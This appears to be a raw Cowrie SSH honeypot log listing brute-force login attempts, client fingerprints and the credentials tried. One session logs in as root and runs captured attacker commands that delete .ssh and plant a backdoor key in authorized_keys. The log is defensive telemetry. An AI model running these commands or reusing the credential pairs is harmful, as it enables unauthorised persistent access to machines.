h.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:42:20.197386Z","src_ip":"107.150.103.210","session":"676bd1d8836f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sim","password":"sim123!","message":"login attempt [sim/sim123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:42:20.486725Z","src_ip":"107.150.103.210","session":"676bd1d8836f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:42:21.552565Z","src_ip":"107.150.103.210","session":"676bd1d8836f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":57040,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8f9267816a4","protocol":"ssh","message":"New connection: 20.244.18.126:57040 (159.203.135.109:22) [session: a8f9267816a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:42:43.764917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:42:43.768546Z","src_ip":"20.244.18.126","session":"a8f9267816a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:42:43.977400Z","src_ip":"20.244.18.126","session":"a8f9267816a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.52.236.235","src_port":58498,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5eb4f18b338","protocol":"ssh","message":"New connection: 182.52.236.235:58498 (159.203.135.109:22) [session: c5eb4f18b338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:42:44.503794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:42:44.507772Z","src_ip":"182.52.236.235","session":"c5eb4f18b338","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:42:44.756561Z","src_ip":"182.52.236.235","session":"c5eb4f18b338","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"term1","password":"Term1123!","message":"login attempt [term1/Term1123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:42:44.848279Z","src_ip":"20.244.18.126","session":"a8f9267816a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maxim","password":"123456","message":"login attempt [maxim/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:42:45.785785Z","src_ip":"182.52.236.235","session":"c5eb4f18b338","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:42:46.060189Z","src_ip":"20.244.18.126","session":"a8f9267816a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:42:47.036930Z","src_ip":"182.52.236.235","session":"c5eb4f18b338","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.106.133.202","src_port":30310,"dst_ip":"159.203.135.109","dst_port":22,"session":"aef81a6545ec","protocol":"ssh","message":"New connection: 211.106.133.202:30310 (159.203.135.109:22) [session: aef81a6545ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:04.733742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:04.738353Z","src_ip":"211.106.133.202","session":"aef81a6545ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:04.940660Z","src_ip":"211.106.133.202","session":"aef81a6545ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rails","password":"railspassword","message":"login attempt [rails/railspassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:05.785418Z","src_ip":"211.106.133.202","session":"aef81a6545ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:06.989399Z","src_ip":"211.106.133.202","session":"aef81a6545ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.88.194.26","src_port":56432,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5cdde41fa5c","protocol":"ssh","message":"New connection: 176.88.194.26:56432 (159.203.135.109:22) [session: b5cdde41fa5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:09.748685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:09.753713Z","src_ip":"176.88.194.26","session":"b5cdde41fa5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:09.879567Z","src_ip":"176.88.194.26","session":"b5cdde41fa5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"viewer","password":"123","message":"login attempt [viewer/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:10.412974Z","src_ip":"176.88.194.26","session":"b5cdde41fa5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:11.540008Z","src_ip":"176.88.194.26","session":"b5cdde41fa5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":53762,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cd6d366eaee","protocol":"ssh","message":"New connection: 2.57.122.208:53762 (10.17.0.5:22) [session: 3cd6d366eaee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:14.444611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:14.449068Z","src_ip":"2.57.122.208","session":"3cd6d366eaee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:14.554219Z","src_ip":"2.57.122.208","session":"3cd6d366eaee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:14.866997Z","src_ip":"2.57.122.208","session":"3cd6d366eaee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:15.974700Z","src_ip":"2.57.122.208","session":"3cd6d366eaee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":59166,"dst_ip":"159.203.135.109","dst_port":22,"session":"580b0f26e8e4","protocol":"ssh","message":"New connection: 45.232.73.84:59166 (159.203.135.109:22) [session: 580b0f26e8e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:36.900563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:36.905497Z","src_ip":"45.232.73.84","session":"580b0f26e8e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:37.034723Z","src_ip":"45.232.73.84","session":"580b0f26e8e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ray","password":"12345678","message":"login attempt [ray/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:37.567685Z","src_ip":"45.232.73.84","session":"580b0f26e8e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:38.704855Z","src_ip":"45.232.73.84","session":"580b0f26e8e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.94.61","src_port":48020,"dst_ip":"159.203.135.109","dst_port":22,"session":"0db03d86980f","protocol":"ssh","message":"New connection: 103.59.94.61:48020 (159.203.135.109:22) [session: 0db03d86980f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:48.723853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:48.729233Z","src_ip":"103.59.94.61","session":"0db03d86980f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:48.978423Z","src_ip":"103.59.94.61","session":"0db03d86980f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"huawei@2023","message":"login attempt [root/huawei@2023] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:50.009116Z","src_ip":"103.59.94.61","session":"0db03d86980f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:50.550710Z","src_ip":"103.59.94.61","session":"0db03d86980f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:50.553455Z","src_ip":"103.59.94.61","session":"0db03d86980f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:50.556397Z","src_ip":"103.59.94.61","session":"0db03d86980f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:50.807313Z","src_ip":"103.59.94.61","session":"0db03d86980f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:51.348460Z","src_ip":"103.59.94.61","session":"0db03d86980f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:51.351555Z","src_ip":"103.59.94.61","session":"0db03d86980f","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:51.603656Z","src_ip":"103.59.94.61","session":"0db03d86980f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:43:51.607295Z","src_ip":"103.59.94.61","session":"0db03d86980f","protocol":"ssh"}
